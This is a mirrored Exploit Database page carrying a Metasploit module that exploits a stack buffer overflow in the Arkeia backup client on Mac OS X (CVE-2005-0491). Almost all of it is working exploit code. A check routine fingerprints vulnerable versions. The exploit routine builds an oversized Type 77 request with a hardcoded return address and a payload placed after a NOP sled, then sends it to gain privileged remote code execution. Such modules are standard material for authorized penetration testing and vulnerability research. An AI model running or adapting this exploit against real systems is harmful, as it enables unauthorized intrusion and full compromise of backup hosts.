Knox Arkeia Backup Client Type 77 (OSX) – Remote Overflow (Metasploit)

• Exploit Database
• 14 阅读

• 作者： Metasploit
  日期： 2010-05-09
• 类别：

  • remote
  平台：

  • osx
• 来源：https://www.exploit-db.com/exploits/16865/

• ##
  # $Id: type77.rb 9262 2010-05-09 17:45:00Z jduck $
  ##
  
  ##
  # This file is part of the Metasploit Framework and may be subject to
  # redistribution and commercial restrictions. Please see the Metasploit
  # Framework web site for more information on licensing and terms of use.
  # http://metasploit.com/framework/
  ##
  
  require 'msf/core'
  
  class Metasploit3 < Msf::Exploit::Remote
  	Rank = AverageRanking
  
  	include Msf::Exploit::Remote::Arkeia
  
  	def initialize(info = {})
  		super(update_info(info,
  			'Name' => 'Arkeia Backup Client Type 77 Overflow (Mac OS X)',
  			'Description'=> %q{
  					This module exploits a stack buffer overflow in the Arkeia backup
  				client for the Mac OS X platform. This vulnerability affects
  				all versions up to and including 5.3.3 and has been tested
  				with Arkeia 5.3.1 on Mac OS X 10.3.5.
  			},
  			'Author' => [ 'hdm' ],
  			'License'=> MSF_LICENSE,
  			'Version'=> '$Revision: 9262 $',
  			'References' =>
  				[
  					[ 'CVE', '2005-0491'],
  					[ 'OSVDB', '14011'],
  					[ 'BID', '12594'],
  					[ 'URL', 'http://lists.netsys.com/pipermail/full-disclosure/2005-February/031831.html'],
  				],
  			'Privileged' => true,
  			'Payload'=>
  				{
  					'Space'=> 1000,
  					'BadChars' => "\x00",
  					'MinNops'=> 700,
  					'Compat' =>
  					{
  						'ConnectionType' => '-find',
  					},
  				},
  			'Targets'=>
  				[
  					[
  						'Arkeia 5.3.1 Stack Return (boot)',
  						{
  							'Platform' => 'osx',
  							'Arch' => ARCH_PPC,
  							'Ret'=> 0xbffff910,
  						},
  					],
  				],
  			'DisclosureDate' => 'Feb 18 2005',
  			'DefaultTarget' => 0))
  	end
  
  	def check
  		info = arkeia_info()
  		if !(info and info['Version'])
  			return Exploit::CheckCode::Safe
  		end
  
  		print_status("Arkeia Server Information:")
  		info.each_pair { |k,v|
  			print_status(" #{k + (" " * (30-k.length))} = #{v}")
  		}
  
  		if (info['System'] !~ /Darwin/)
  			print_status("This module only supports Mac OS X targets")
  			return Exploit::CheckCode::Detected
  		end
  
  		if (info['Version'] =~ /Backup (4\.|5\.([012]\.|3\.[0123]$))/)
  			return Exploit::CheckCode::Vulnerable
  		end
  
  		return Exploit::CheckCode::Safe
  	end
  
  	def exploit
  		connect
  
  		# Request has to be big enough to find and small enough
  		# not to write off the end of the stack. If we write too
  		# far down, we also smash env[], which causes a crash in
  		# getenv() before our function returns.
  
  		head = "\x00\x4d\x00\x03\x00\x01\xff\xff"
  		head[6, 2] = [1200].pack('n')
  
  		buf = rand_text_english(1200, payload_badchars)
  
  		# Return back to the stack either directly or via system lib
  		buf[0, 112] = [target.ret].pack('N') * (112/4)
  
  		# Huge nop slep followed by the payload
  		buf[112, payload.encoded.length] = payload.encoded
  
  		print_status("Sending request...")
  		begin
  			sock.put(head)
  			sock.put(buf)
  			sock.get_once
  		rescue IOError, EOFError => e
  			print_status("Exception: #{e.class}:#{e}")
  		end
  		handler
  		disconnect
  	end
  
  end